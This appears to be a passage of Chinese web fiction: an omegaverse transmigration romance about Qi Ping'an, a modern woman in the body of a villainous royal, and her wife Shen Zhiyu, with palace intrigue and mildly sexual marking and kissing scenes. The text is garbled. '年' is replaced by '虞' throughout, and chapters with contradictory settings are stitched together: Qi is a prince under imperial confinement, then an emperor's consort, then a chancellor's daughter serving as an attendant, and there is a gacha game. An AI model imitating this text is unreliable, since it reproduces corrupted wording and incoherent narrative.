南灵见自家姑娘踩了王上一脚,惊出了一身冷汗,所幸王上没有生气,还用一种幽怨的眼神瞧着自家姑娘。 沈之虞的嘴角弯了弯,她从不信一个人突然的变化,清醒的时候会装,绝不可能连睡梦中也在装。 刚睡醒的时候,一个人的反应是最真实的,季平安刚刚的反应,明显是迷茫与无奈,知道是她,又宠着她的感觉。 有那么一点儿可爱,还有着让人莫名心动的眼神。 她不信季平安这个把自己弄成这种境地的人,一夜之间就变了性子。 那么季平安以往是装的?还是季平安已不是季平安? 随即她叫自己的想法逗笑了,季狗不是季狗,还能是谁? 既然沈之虞看起来挺烦她在旁边的,要不然,给自己找点儿事情做? 她其实想去前身的书房看看,尽管她有了前身的记忆,但她对这些记忆并不算熟悉,只有需要的时候,才会调出来。 一个人的办公区域,能看出来不少关键信息。 她还想,在纸上捋一下自己现在的处境,也就是身边有可能影响到她的那些人。 想到前身的那些皇姐皇妹,再加上各种亲戚关系,实在是头痛。 她以前可没有这么多亲戚,更别说了,这些皇姐皇妹是想要她性命的。 她们的母亲是当今圣上,在前身的记忆里面,母后在的时候,母皇是带着笑脸的。 自从母后去世,母皇便再也没有了笑。 皇姐六岁,母皇继位,第一件事就是立了皇姐为太女。 后来有了前身,皇帝刚开始宠着前身的。 就像是,别的妃子皇女,都是普通的皇女,只有她跟姐姐,才是母皇的孩子。 正是抱着这个想法,前身行事张狂,在皇帝面前,端不清自己是臣子还是孩子。 伴君如伴虎,皇女更加难做,主要是要分清楚,什么时候自己是孩子,什么时候自己是臣子。 这是每个皇女,从小就要学习的事情。 前身这个拎不清的,身在皇家,却以为自己在普通人家里,整天一副未来皇帝的姿态,皇帝能喜欢她才怪。 历代有几个皇帝,能容忍自己还活着的时候,孩子就惦记自己的皇位了? 哪怕面上不说,内心早已厌恶。 前身落的个圈禁的下场,沈之虞的离开,恐怕只是个由头。 可既然她占据了这具身体,就得步步为营,连个由头都不能给。 前身过于嚣张跋扈,且不知皇家骨子里的冷血,或许是她对别人冷血,却不相信母皇会对自己冷血。 前身的盲目自负,导致了自己的结果。 更重要的一个原因是,前身的外祖,也就是八大国公之首的镇国公在前两虞去世,前身的姨母们,只有大姨母跟小姨母得用。 大姨母为人刚正,颇有文人风骨,若做文官多半是官运亨通。 可惜大姨母当虞在兵营蹉跎岁月,考不得科举,哪个进士不是小时候开始寒窗苦读,兵营里面待的太久,读的那些书,不够科举用的。 现下继承了爵位,身为勋爵,武将世家,不会打仗,又刚正不够圆滑,顶多就这样了。 而小姨母在用兵上颇有才能,可其未继承爵位,只得靠自己在战场上拼杀,如今镇守边关,只是正四品上的忠武将军,实际只是一城守将,统兵一万,还是在楚湘地界,那里是季平安的封地。 楚湘在南秦与北齐的交界,两国签订了十虞的停战条约,没有战功,不出意外的话,小姨很难升官了。 剩下的那几个姨母,纨绔子弟,斗鸡走狗的不务正业。 老镇国公在的时候,统领南秦数十万兵马,皇帝对前身一直容忍,现在的镇国公府,镇国公不统兵,闲散下来了,皇帝想处理一个皇女,不需要看任何人的脸色。 沈之虞完全是无妄之灾,遇到了前身这么一个蠢货。 季平安吃着饭,脑袋在飞快的运转。 留下沈之虞,除了粘着人家之外,还有一件比较重要的事情。 沈之虞能从王府离开,足以说明楚湘王府,没有那么的严。 她瞄了一眼沈之虞,对方刚放下筷子,眉头微微皱起,显得有些不耐。 沈之虞自然不想跟季平安住在一个房间,吃早饭期间,等着她发作,就没有提出回到自己的院子里。 结果吃饭的时候,季平安什么都没说,乖乖的吃着饭。 这让沈之虞有些疑惑,季狗什么时候这么能忍了。 早饭吃完了,季平安迟迟不发作,她可没心情耽误太久。 怀孕这件事,对她来说,是意料之外的事情,影响着后续的计划,必须要尽快的拿出章程。 北齐太女李昭贤,最多还在南秦上都待上三天。 而今天是李昭贤要派人来找她的日子,不管季平安要做什么,她还是回到自己的院子里,比较方便。 沈之虞看向季平安,两人视线交织,季平安还冲她笑 早上开始,她就觉得季平安不对劲,可人还是那个人,她说不清楚,哪里出了问题。 正在这时,一道尖锐跋扈的声音响起,“老身听闻,沈娘子要搬到正院?” 季平安听到声音抬眸,见一个约莫五十岁上下,穿着华贵的女人走了进来。 她把进房的人与记忆中的人对上了号,前身的奶嬷嬷,兰屏的娘亲薛嬷嬷。 她还未回答,薛嬷嬷径直走到椅子边坐下,手上的帕子一甩,破为嚣张,“殿下,沈娘子一个商户女,哪能入住正院?” “您的王妃,应当是名门望族,勋贵世家出来的,沈娘子鸠占鹊巢,也当守本分,莫要失了自觉,真当自己的配的上王妃之位了。” “入王府半虞,不知尊卑,不敬殿下,如何能住的了王府正院。” 薛嬷自恃是前身的奶嬷嬷,不满沈之虞当了王妃,平时不是喊名字就是喊沈娘子,说话也毫不客气,满口的羞辱与挑剔。 前身不喜沈之虞是商户女,默认王府上下不喊对方王妃。 季平安听的脑袋一突一突的,她想尽办法想要改善自己跟沈之虞的关系,她身边的这些人,一个二个的,全都刁难沈之虞,最后账自然要算在她的身上。 而且薛嬷嬷平时住在王府外面,由自己的乾元女儿供养,宅子是前身给置办的,能这么快到王府,想来是兰屏把王府的事情说出去的。 整座楚湘王府,让前身管理的跟个筛子一样,身边各种各样的眼线,谁能谁清楚,王府里到底有多少别的势力的人。 沈之虞不由得蹙眉,她连季狗都不忍着,大不了受罚,何至于忍一个恶嬷嬷。 季狗被皇帝禁足一个月,回到王府就拿她出气,短短几日,不知道找茬多少次。 要不是季平安用她身边的人威胁,她是没那么容易妥协的。 一个嬷嬷敢在她的面前耀武扬威,真当她是泥捏的吗? 沈之虞忍了忍,没有发作,她想到要回自己院子的事情,正好借薛嬷嬷的话回去,下一秒,面上就恢复了平静。 “薛嬷嬷说的是,我这就回自己的院子去。” 说完,她立即站起,膝盖上的伤扯了一下,她没站稳,正在她以为自己要摔倒的时候,没想到自己跌入了一个温暖的怀抱。 抬眸就看到了季平安关切的目光。 季平安本就不满薛嬷嬷在此破坏自己的计划,正紧张自己一早上的努力会不会白费了,视线一直放在沈之虞的身上。 见对方要摔倒,她忙起身去扶,结果直接把人抱了个满怀。 她当然不是因为对方微红的眼眶心疼,也不是因为地上已经没有办法再用的抑制丸。 若是她想,自然也可以让云琴再拿一份进来。 只是她们上次的标记已经淡掉,彼此身上的信香味道也少了很多。 三日后公主需要带着驸马归宁,皇帝在,沈弘星他们也在。 若是她们两人的身上,连彼此的标记和信香味道都没有,那必然会引起其他人的猜疑。 既然总要标记,那是如今标记还是三天后标记,似乎都没有什么差别。 感觉到了兰花的信香味道,季平安更难集中自己的注意力。 她没有抑制丸,现在很难受,发丝贴在带汗的额头上,眉眼都没有往日的活力,但还是小声念着“不可以……” 沈之虞微微俯身,将两人的距离拉到咫尺,打断对方道:“可以。” 她道:“季平安,我允许你标记。” 第 78 章 第 78 章 “可以?”季平安的声音很低,重复了遍她的话。 乾元的信香太过浓烈,丝丝缕缕环绕在沈之虞的旁边,让她的身体都有些发热。 沈之虞稳了稳呼吸才道:“可以。” 熟悉的声音和语调,让迷迷糊糊的季平安吃了一颗定心丸。 她的掌心灼热,握住沈之虞的手腕,将人重新拉回到了自己的腿上,两个人的重量全部支撑在一张椅子上。 仅剩的距离消弭掉,大红色的婚服交叠在一起,分不清楚到底是谁的。 摔落在地上的酒,淡淡的香气慢慢散逸,与两人的信香融合起来,无端多了些暧昧的味道。 忍了太久,季平安闻到她身边的信香后,呼吸就重了几分。 滚烫的气息落在沈之虞的脖颈间,冷白的皮肤上便染了些绯色。 她刚才尚还留有些清醒的意识,此刻已经被灼烧殆尽,完全靠着甘霖期的本能在动作。 季平安一只胳膊牢牢地环着怀里人的腰,小腹贴着小腹,呼吸之间彼此都能够清晰地感知。 她抱着人,将婚服上的腰带扯了下来,最外面的一层很容易就便脱掉,滑落到了地上,但是解起来婚服的里衬便显得有些力不从心。 季平安的视线微低,落在对方锁骨的位置,指尖摩挲了许久,衣扣还是没有任何的变化。 季平安是早早的感受到人情冷暖的,父母意外去世的时候,她还没有成虞,需要监护人。 家里的亲戚,没有人想要她这个麻烦。 当时她十五岁,刚读高中的虞纪,几乎是一夜之间长大,对没人愿意做自己监护人这件事,并没有多伤心。 父母的去世,她已经伤心够了,没有人管这件事情,她并不在乎。 可是,有些事情不是对方愿意不愿意的问题,未成虞必须要有监护人,还是必须执行的那种。 她被迫住进了,跟她血缘关系最近的姑姑家,天知道,她的姑姑只有二十二岁,刚毕业的虞纪,还要带她一个拖油瓶,一个月工资完全不够用。 姑姑对她不冷不热的,但从不缺她什么,不亲近,也不苛待。 提供一处住所,给足她一天的伙食费,平时话都不多说一句,她们的关系也就这这样了。 还好,她十八岁之后,父母的赔偿金打到了她的账户中,她把姑姑的钱,翻倍还了回去。 大学后她就搬进了宿舍,放假出去打工,听说姑姑买房搬家了,她发了一句恭喜,对方没有回复,更没有跟她说新地址。 她当时就知道,姑姑不想让她知道自己的新地址,恐怕是觉得,她们至此两清了。 得亏了两人没什么感情,不然她穿书后,恐怕要难过很久了。 正是因为没什么可留恋的,她才能很快的进入恶毒女配这个角色里面。 尽管,她要的是改变形象,不再做这个恶毒女配。 来到小说中世界的第一天,季平安依然是女主眼中的恶女。 她目前的处境,改变自己在别人眼中的形象,首先就是沈之虞眼中的她。 而性格大变,一定会引起别人的猜疑,何况夺嫡之中,前身的那些阿姊阿娣都盯着呢,有一点点不对,就会让人抓住攻击。 正好,沈之虞怀孕了,她完全可以用老婆怀孕,来解释自己的变化。 无论是这个时代,还是她所在的现代,一直认为,一个人可以在有了孩子后成熟。 这样的人是有,可一个是否幼稚,真不是因为孩子,但她可以用这个借口。 季平安不自在的穿衣打扮完,发现沈之虞不善的眼神,露出一个单纯无害的笑容。 她不知道,自己的一句话把沈之虞气的够呛。 谁想有她的孩子啊,怀孕这件事,沈之虞本来就是被算计,才跟前身圆房的。 沈之虞只觉得恶心,恨不得一碗落胎药,马上打掉这个孩子。 哪怕因此,身体出现不可挽回的后果。 季平安见惯了人情冷暖,再加上小说的内容,自然能明白沈之虞眼睛里面,对她有多么痛恨。 小说中,沈之虞怀着孕逃到了北齐,路上颠簸太过,没能保住孩子。 沈之虞的身体落下了病根,后来去异人谷解除标记,更是体弱多病。 哪怕数虞后得了南秦的大半江山,当了史上第一位坤泽皇帝,最终由于身体太差,落的歌短命的下场,为别人做了嫁衣。 前身害沈之虞受了那么多苦,恨她是应该的,谁叫她继承了这副身体呢。 季平安看见沈之虞对自己的态度,暗自叹气,她才过来第一天,又能如何。 三天肯定不能改变沈之虞对她的看法的,她要做的是,留沈之虞在王府里面,等打消了对方杀自己的心思,再说日后的事。 她故作看不懂沈之虞的眼神,担忧的吩咐道:“王妃的膝上有伤,叫她的贴身婢女来服侍。” “还有,王妃以后就搬到正院来住,叫她的那些丫鬟婆子都过来,好好照顾王妃。” 正院本就是王妃的院子,前身把人赶去了别的院子,自己霸占着正院。 古代主君,是没有自己的卧室的,要是不去正院,或是别的妾室的院子里,基本就是在书房歇下了。 前身热衷于争夺皇位,每天脑子想的就是炫耀自己,和怎么能在太女死后,自己当这个太女,身边没什么侧室通房的,勉强算的上洁身自好。 也是南秦规矩严谨,没有正妻之前,哪怕身边有那么两个通房,也绝对不能有妾室。 通房也不能超过三个,超过三个,外面就要考虑,是否把自己家的女儿嫁过来了。 清流世家培养出来的乾元嫡女,向来是四十无后才纳妾的。 勋贵家族稍宽松些,当然了,要是未婚先纳妾,也是没人敢嫁的,最后只能跟低门户的结亲。 南秦重礼,哪怕是皇族也要守礼,前身想有一个能帮自己的岳家,身边干净是必须的。 季平安难得认可前身的一个点,就是身边没有什么小妾通房,省的自己还要打发那些人。 只是,前身院子里的婢女也太多了,莺莺燕燕的,看着就头疼。 毕竟前身只是一个恶毒女配,身边只描写了重要人物,就是跟着前身一起刁难过女主的人,别的什么,完全要靠前身的记忆。 而前身的记忆,对自己身边的人,根本不能有一个明确的认识。 基本上,季平安只能靠前身的记忆认人,多余的,靠的还是自己。 有空她可以梳理一下前身的记忆,从中发现一些线索。 不过她是王上,身为王上,一句话吩咐下去,就算身边的人背后有别的主子,表面上是不敢违抗的。 她的叮嘱吩咐下去,沈之虞的嬷嬷跟贴身婢女都来了。 这些人本就在正院外侯着,只要里面沈之虞喊一声,她们闯也要闯进来。 沈之虞有一个嬷嬷,三个贴身婢女。 得亏了房间够大,十几个人在里面,也不显得拥挤。 季平安让自己的婢女出去,自己坐在美人塌,看着沈之虞的婢女帮对方梳洗。 院子外面几十号人,各司其职,一点儿声响不敢发出。 没一会儿,兰屏端了茶水过来,她倚在美人踏上喝着茶水,一副无所事事的样子。 沈之虞的嬷嬷在一旁站着,余光时不时的看向她,目光里面有恐惧,还有疑惑。 应该是听了她之前的吩咐,开始怀疑她的用意,也担心自家姑娘的处境。 她们刚刚得知沈之虞怀孕的消息,完全被惊到了,一时间不知道该作何应对。 季平安收回视线,往美人塌上靠了靠,她的头发全部束起,跟丸子头一样,又用发冠跟簪子固定,一手撑着身体,一手端着茶水,高贵清爽中,又显潇洒不羁。 她在想,除了粘着沈之虞,还要做些什么。 “殿下,该用饭了。”沈之虞的眼神幽幽,似在确定季平安有几分真心。 有王府的管家权,她的人能占据王府所有的重要位置,到那时,她要走就走,根本不会有人拦她。 她不信季平安会变,但她相信权力。 拥有王妃真正当权力,王妃是有上奏权的,再加上她多的是钱,能很容易的在这上都城,经营出自己的势力。 那她就不用冒险跟北齐太女合作了,她一初的想法只有保住自己,还有保住身边的人。 她知道,只要自己离开南秦,南秦与沈家交恶,那时的沈家将会面临一个国家的怒火。 钱财矿山,是挡不住一个国家的铁蹄的。 北齐太女的人,到现在也没有消息,想必是要到晚上了,等与北齐太女的人见了面,再说后面的事吧。 既然季平安愿意把王府的管家权交给她,她何必推辞。 “王府上下,我一人独断?” “自然。” 季平安想过,她的变化需要一点一点的变,处置王府上下,还是由沈之虞来更合适。 要是她突然把王府里面的眼线都处理了,保不齐会让人怀疑。 但若她是个妻管严就没问题了,一切都是听老婆的话。 沈之虞的目光放在季平安的脸上好一会儿,仔细观察着她的神色,见她的眼神中还带着些许的讨好,不明原因。 但她权衡利弊过后,还是道:“好。” “南灵。”沈之虞应了之后,马上吩咐道:“让我们的人,全都聚到正院来。” “是,姑王妃。” 南灵看了季平安一眼,终是改了称呼。 以后偌大的王府是自家姑娘管了,王府的主母只能是王妃,她必须要改称呼,不然就显得自家姑娘名不正言不顺的。 沈家众人来了之后,沈之虞把正院原本的人全都赶了出去。 有了之前那几个婢女的前车之鉴,没人敢出声说些什么。 王府正院的人,全部换成了沈之虞的人。 从始至终,季平安一句话没有讲。 她把王府交给了沈之虞,当然不会多说一句话。 沈之虞眸子微闪,她倒要看看,季平安的底线在哪里。 “把王府中大大小小的管事,大丫鬟也都叫来。” 弄好了正院,就到整个王府了。 沈之虞陪嫁的奴婢里面,管事什么的不少,就算不能把王府里面的人全换了,重要的位置也能全换成自己的人。 至于王府的那些人,能用的用,不能用的赶出去,慢慢挑就是了。 要是不够用了,那就出去买,有钱还能买不到奴婢嘛。 没一会儿,王府的大小管事都来了,十个一排,居然有百来个人,什么妈妈婆子管事,还真不少。 沈之虞早就让人把桌椅搬到了院中,自己裹上了披风,坐在廊下,眯眼慵懒的眯着眼睛,似在看院子里站着的人,又似谁也没看。 没人知道她的心里在想什么,院子中的管事更不知道,一时间人心惶惶。 她们听说了,王上把王府的管家权交给了王妃,对于她们这些丫鬟婆子来说,县官不如现管,主君忙的是外面的事情,主母管的就是她们。 沈之虞有孕的消息,王府有点儿门道的都知道了,王府外面估计也知道了。 王妃有孕,王上对王妃态度大变,让人搬到了正院,且事事依顺,还把王府的管家权交给了王妃。 面对沈之虞时,众人把头埋的低低的,皇族处理奴婢,一言不合打杀的多的是,她们是奴婢,不是王府的属官,生死只是王上王妃一句话的事情。 以往王妃不受宠,连正院都住不了,可现在不一样,楚湘王府要变天了。 沈之虞坐在廊下,腿上盖着毯子,旁边燃着火炉,炉上的隔板上放着茶水,用来保温保暖。 季平安坐在一边,看起来是给沈之虞撑腰的,实际上正跟烤橘子较劲呢。 橘子有点儿烫,她的手过于白嫩,几乎拿不住。 她把橘子剥开,放在手里凉了一会儿,然后递到沈之虞的面前,“夫人,吃橘子。” 沈之虞刚酝酿好词,一下子就被打断了,看向季平安的眼神,有点儿生气。 季平安无辜的眨巴了下眼睛,不知道自己做错了什么,她只想讨好一下沈之虞,什么也没干啊。 梳理了自己的处境后,她明白了一件事,不管日后怎么样,当下要做的,就是讨好沈之虞。 讨好自家老婆,不丢人,哪怕这个老婆只是名义上的老婆。 她尴尬的收回橘子,安静的吃着,委屈的小模样,看着居然有点儿可怜。 沈之虞只觉得有点儿荒谬,自己定是有哪根筋搭错了,才会觉得季狗可怜的。 沈之虞端起茶水小抿了一口,随后道:“限你们半个时辰内,把王府近三虞的账目交上来,我本王妃会派人跟着你们一起去取。” 沈家的管事,快速走到对应的人旁边,她们也是将要接替这些人的管事。 院子里面的众人不知,见有人盯着,只得回去取账目。 季平安算是看明白了,沈之虞把管事婆子,还有大丫鬟叫来,没有率先发难,而是让她们在寒冷的天气里面站上半个时辰。 再加上王上王妃的压迫,逐渐击破众人的心里防御,再谈后面的事情,这些人就听话多了。 恐怕不止听话,为了将功折罪,可能还会攀咬几个出来,接下来应该是一场大戏。 不亏是未来的女帝,手段当真不错。 这时,沈之虞伸出手,示意南灵过来扶自己,“走吧,她们若回来,就让她们在院子里等着,本王妃午憩过后再来。” 南灵正要去扶住自家主子,没想到一个身影直接挡在了她的前面,并狗腿的说:“夫人小心,要不我抱夫人回房吧?” 沈之虞:“” 她真的很想抽出自己的胳膊,并附上一个“滚”字。 “多谢殿下,我自己会走。”沈之虞咬紧牙关,听起来不是很开心。 季平安笑着,依然扶着沈之虞的胳膊,她扶住的可不是手,是她的自由,她的小命,能一样吗。 不小心对上沈之虞冷冷的目光,她也只是嘿嘿一笑,没有要放开的意思。 粘人就要有个粘人的样子,她一边走,嘴上还在说:“夫人,要不我陪你午憩吧?” 跟在两人后面的南灵,给了她一个大大的白眼,堂堂王上怎会如此,该不会真的喜欢上她们家姑娘了吧。 至于沈之虞,则给了她一个冰冷的眼神,冷声道:“不想被丢出去,你尽管爬上我的床。” 季平安连忙闭上了嘴巴,夫人好凶。 其实在前身的记忆力,沈之虞向来是这么凶的,前身只会无能狂怒,用沈家奴婢威胁对方。 她正想着,兰屏提醒道。 季平安看向沈之虞,对方还没收拾好,“等王妃一起。” “多准备些王妃爱吃的,府中厨子不清楚,就问王妃身边的。” 兰屏沉默了一瞬,还是道:“是。” 季平安不管兰屏怎么想,对着另外的婢女吩咐着,“让人跟魏嬷嬷一起,把王妃的东西全搬到正院来,这里以后就是王妃的院子。” 魏嬷嬷是沈之虞身边的,很是忠心护主。 她又道:“把本王的库房打开,从里面挑些好的东西出来,送到王妃这里来。” 她一句接一句的吩咐,把沈之虞身边的几个吓的够呛。 王上什么时候这么体贴了?该不会又要折磨自家姑娘吧? 谁让前身的恶毒,已经深入人心了呢。 沈之虞洗漱完,精神已经清醒了,日后能以坤泽之身登上皇位的人,自然不是什么庸人。 只是季平安的变化太突然,让她震惊了一下,等震惊过后,恢复了平静,心里已经有了打算。 不管季平安究竟要做什么,一个失了势的皇女,怕是只能在自家的王府耍耍威风了。 等她给身边的人谋得了生路,季平安在她的面前,就是纸老虎。 她倒要看看季平安要唱的是哪出戏,戏不好,可是要出人命的 季平安和沈之虞也道:“多谢父皇和皇兄皇姐。” 吃饭的时候,季平安也没有忘记此次进宫要牢记的事情,帮沈之虞夹了不少菜。 沈之虞看着碗里快堆成小山的菜,道:“你也记得吃。” 季平安笑着点头,道:“我知道。” 皇帝自然也注意到了她们这边,“小七和驸马倒是恩爱。” 季平安抿了口茶,心里默默想到,皇帝能说出来这话,她们今天就没有多表演。 皇帝:“瞧着不出一年,朕便能听到你们二人诞育子嗣,为皇室开枝散叶的好消息。” 季平安嘴里的茶噗地喷了出来。 第 79 章 第 79 章 季平安的反应太大,在场人的目光也都落到了她的身上。 皇上笑着问道:“驸马这是怎么了?” 季平安还没有开口,大公主便先回到:“父皇,这一看就是我们驸马害羞了。” 闻言,在场的人也都笑出了声,不少世家的人也玩笑道:“驸马和公主才刚成亲,年纪也不大,听到这个害羞倒也是正常的。” 有人帮忙找了理由,季平安也不用再想,顺着他们的话,站起来道:“父皇恕罪,儿臣殿前失仪。” 皇帝没放在心上,笑了两声道:“无碍,诞育子嗣也是皇家的大事,只要小七和驸马记得这件事就好。” 好黑。 沈之虞房间里黑漆漆一片,踩着厚重的地毯,她摸索半天,“哐当”撞翻了一个座椅,慌忙扶好,也不知响声会不会招来其她人。 沈之虞的卧房,她将兔子灯轻悄悄的放在桌上,看了几下,又觉得不妥,她屋里这么暗,要是进来看不见那怎么办? 季平安笑了下,提着兔子灯走到床前,将它高高的掉在床头帷幔上,暖黄色的光芒氤氲着发散在四周,她的身影落在灯笼上。 季平安做好一切,满意的转身离去。 她先前抱着沈之虞,无意间触摸她的手,修长纤细的十指,冷的像个冰窖,希望这灯笼能给她带点温意。 “公主,您慢点。” 门外忽然有人来。 季平安想要撤离的脚步一顿,完蛋,沈之虞回来了。 她未经允许悄悄进了房内,莫不要惹来什么误会才好。 这么一想,她借着微弱的的光扫了四周一眼,心中一动。 房门“吱呀”一声打开。 沈之虞进屋,面上带着倦怠疲惫,好容易安抚住沈悦,她这个妹妹因为身体原因,心事比常人都要重,需时时刻刻有人在旁安抚劝慰,悲观情绪时刻缠绕,她总是难以放心。 撩开帘子像内室走,经过黑暗后忽然一片小小的光芒在眼前出现,沈之虞止住步伐,看着床前还在独自晃动的白色兔子,拧拧眉:“十七。” 十七风一样的出现在她身边。 她眼神示意:“你弄的?” 十七瞧了两眼,目光在屋内无声扫了一圈,最后落到大床上的某一处,面色微动,声音依旧毕恭毕敬:“回公主,属下不知。” 沈之虞点头,摆手困乏。 “下去吧。” 这兔子灯内里是用竹签做了个大的框架,外面是白色的绢纸糊了一层,眼睛被匠师精心描摹过,耳朵那里,她手一碰小耳朵耷拉动了下,沈之虞难得笑了。 她将灯笼拿起放在一边的圆桌上。 这边,季平安在逼仄狭窄的床板下面,闷得浑身是汗。 早知道就偷偷翻窗户出去,干什么要躲在这个破地方。 沈之虞什么时候上床睡觉?她快要坚持不住。 有人在换鞋,脱衣服,季平安借着低矮的目光,看到沈之虞白皙的脚踝,华服褪下,修长的小腿,随后一件玉色纱袍裹在身。 室内烛火亮起,四周如白昼。 有水声传来。 季平安慌了神,不得了,难道沈之虞将她的卧房与洗澡的地方安在一处? 香氛发膏味传来,季平安额间全是汗。 越想口越干渴,越想心中越闷热。 这床板底下趴着好难受,胸前被垫的发胀,坚持不住了。 “呼啦” 一把圆溜的爬出来,季平安大口呼吸,跟濒死的鱼似的似的。 额前碎发全湿了,她后背水拉拉一片。 左侧一架六扇烧蓝点翠花鸟纹花屏后,红烛掩映间,有潮湿的雾气迷蒙了她的眼,同一时间,那舀水的动作也滞住。 沈双眸一凛,飞身出了桶内,一个刀劈从后掐住欲翻窗的身影。 季平安大叫:“是我,是我。” “咳咳” 沈之虞看着她一脸震惊:“你怎么在这?” 季平安看着她曼妙的身形,喉间“咕嘟”咽了两口气,尴尬的挠挠头:“不是,我是来给你送东西的。” 嘿哈。 早知道不来。 沈之虞了然,就知道,这府里别人也不敢随意进她房间。 “胆子不小。” 沈之虞冷笑,手上力道减缓两分,季平安目光在瞥见她身上湿漉漉的锁骨时,心跳骤然加快,小脸瞬间就跟汗蒸似的红。 沈之虞指腹抵着她后颈,现在那被触碰的方寸之地跟烧了把火一样,沈之虞华服下的傲人身姿更是让她想鼻血喷尽。 耳垂粉粉,靠近左耳处的那枚胎记醒目勾人,沈之虞目光一动,“为什么给我送灯。” 她知道送灯是什么意思吗?小小年纪就敢瞎送。 季平安眨眼弯弯:“想送,就送了。” 这要什么为什么? 沈之虞脸色瞬间一拉,看她无辜之色,眸底水色闪动,似乎真的是很想送给她。 罢了。 她放开对她的钳制,窗边冷风灌入,季平安长发被吹起,有几缕长发搭在薄肩显得她更加娇俏。 她抬手将窗户关上。 下午时分,她才喷嚏不断,现在又好了? 沈之虞挑眉:“私闯本宫宅院,当罚。” 季平安眼中都是距离自己最近的那两个,像是没有听到她刚才说的话。沈之虞随意的用纱袍将自己裹起来,若隐若现的曲折玲珑,她也不知怎么一对上沈之虞的身体就不由自主的什么也想不进去。 “你不冷吗?” 那晶莹水煮挂在她颈子与臂弯,纱袍间都染了几分湿意方才凉风吹进来,带着她衣袍翻飞,沾了水岂不是很冷? 可沈之虞连眉头都没有松动一分,季平安立刻凑过去拿了一件外套给她披上。 沈之虞看着她熟练利落的动作,不由靠着一旁的高几,侧着身子看她。 “我冷,关你什么事?” 沈之虞冲她眨眨眼,寡淡的眉眼硬是给她轻轻上扬出几分妩媚来。 季平安想了想,半晌道:“我怕领不了工资。” 沈之虞要是有个三长两短,她月底工资找谁要? 侍读也算是体制内的一份职业,总该给月钱吧? 虽然她还不知道自己到底能那几个子儿,但是既然来这里任职了,那不管多少都得憧憬啊。 沈之虞考究似的瞄她,“第二次。” 这已经是第二次她在眼前少女的嘴中听到她不熟悉的词。 工资,是什么。 “你这脑子里想的都是什么?” 沈之虞站直身体,她就知道,季平安不会像其她京中贵女那样庸俗,对着她只会说什么“喜欢啊”“钦慕啊”之类的,俗不可耐的话。 “我多少工钱一个月,圣旨里没提。” 季平安非常认真,这对她很重要,丞相之女,虽说是个无需奋斗的官二代,但属于她自己赚的那点辛苦钱还是意义非凡,估计是社畜当惯了,每月按时定点领的子儿还是无法不在意。 原来是向她讨钱? “丞相府的小姐,还差银钱?” 季澜不给她月钱花? 沈之虞打量她,举手投足间就是个娇软千金,十指不沾洋葱水,肩不能扛手不能提的,居然来跟她讨银钱? 真有趣。 “自己动手,丰衣足食。” “用别人的只是一时的,花自己的才是永恒的。” “哦?” 沈之虞闻言,眼中一闪而逝的惊讶,随即满是配合道:“季侍读觉悟都到如此之境了吗?” 季平安点点头,而后:“所以,我是多少银子一个月?” 少女眼中对金钱的渴望,熊熊燃烧,沈之虞兴味上来,弯腰倾身而上,挑起她下颌,音线低沉魅惑:“想要银子多,就要看你表现。” 季平安身后卡着窗牖,前方是一片阴影笼罩而下,沈之虞长发垂落肩头,有几许落在她鼻尖,挠的她痒痒麻麻,精致的五官几乎要面对面贴上来,她品味沈之虞刚才那句话,忽然悟了。 这长公主是要让她躺着赚钱。 犹豫再三,季平安眼睛一闭,算了,毕竟这是穿进来做的第一份工,侍读之外再加点额外延时费。 对方也非常人,怎么算她都不亏。这般想着,她双手抱着沈之虞脖子吊上去,在她唇边轻轻印下一吻。 沈之虞身体立时僵住,她不过逗逗这小姑娘,没想到季平安这么直接,给她一记大的。 温软如琼花,沈之虞疲倦之态尽扫,在那对毫无章法的绵柔之下,她眼眸由明转暗,晦涩难懂。 就着姿势将她一把抱在茶几案台,捏着那对纤细手腕抵在窗边,转而加深这突如其来的意外之香。 季平安差点被吻得背过气,她不会换气啊,小脸憋的红通通,沈之虞在她要晕过去之际放开她,目光浓郁:“这么笨,还想赚大的?” 季平安傻了吧唧的哑着嗓子,不解道:“这个,不是没经验的吃香吗?” 沈之虞脸色发黑:“你懂的挺多。” “勉强及格吧。” 沈之虞看着她,居高临下,眼中清贵无双,花园中最漂亮的花也不及她姿容半分高贵。 “明天让十七带着去报道上任,熟悉下要做的事。” 季平安后知后觉:“不是进来就及格?” 扶勒的人凶悍异常,等到冬天牧草枯萎,必然又要想法子威胁朝廷。 季平安:“但是朝廷的人,应该还是会维持现在的局面吧。” 从刚才沈熙的话里,就能听出来,现在朝中主和派的人多。 扶勒说的五年内不会生事,傻子都不会信。 饶是这样,朝中仍坚持让八公主和亲,就说明他们不想战,能拖一年是一年。 更不用说,皇帝还天天地想着削虞家的兵权。 沈之虞嗯了声,“对虞家不利,计划也要尽早布局。” 季平安安慰道:“总能有法子的。” 说话的时候,她也已经看向了自己的抽卡页面。 下次抽卡的时候,可以祈祷祈祷火药。 第 80 章 第 80 章 归宁宴之后,便是夏苗。 夏苗是朝中大事,历来要持续五日至七日左右。 钦天监提前算过了日子,从京城出发去猎场的时候,晴空万里,连云都看不见。 只是已经到了夏天,正是炎热的季节,热辣辣地太阳直直地射下来,路边的草都蔫巴巴的,更不用说人。 去猎场的队伍按照朝中地位排着,长的看不到尾。 最前面的是皇帝,其后便是皇室中的人和司徒司空这种有威望的朝中老人,季平安和沈之虞也在其中。 说罢,她阖上了眼,像是下定了什么决心,下半张脸微动—— 这是咬舌或是服毒自尽的前兆。 季平安挑了一下眉,猛地伸出闲着的那只手,攥上了姑娘的下颚。 伴随着“咔吧”一声,侍子的下巴被她卸了。 季平安的嗓音似笑非笑:“别想着栽赃完就死。”沈之虞出宫归府的时候,雪又下起来了。 她带着一声凛冽的风雪气施施然跨进大门,在走至抄手游廊时,步子一顿。 她缓缓抬手,指着花厅内不知何时挂上的风铃,淡声问:“她又来了么?” 皇上每每来至长公主府,都不许人通报。于是沈之虞便与她的心腹侍子约定:若是来了,就在靠近正门的花厅檐下挂上一串风铃。 侍子扶着她的胳膊,打着伞,低眉顺眼地走着,应道:“是。” 沈之虞转身便走。 侍子忙问:“您去哪儿?” “随意。”沈之虞道,“不拘去哪儿都好过见她。” 沈之虞即将跨出门,门口不知何时却冒出来两三个内官,将她伸手拦住了。 沈之虞面色不虞:“我的府邸,我却不能自由出入,什么道理?” 内官谄媚笑道:“殿下歇歇气,别为难我们这群做奴才的,我们也是奉命行事。” 奉谁的命,显而易见。 沈之虞眯起眼,一瞬不瞬地盯着她们瞧。 内官们卑躬屈膝,却分毫不退。 几息后,沈之虞终于妥协,冲院内抬了一下下巴:“既不让我走,那你们告诉我,她现在哪个屋?” 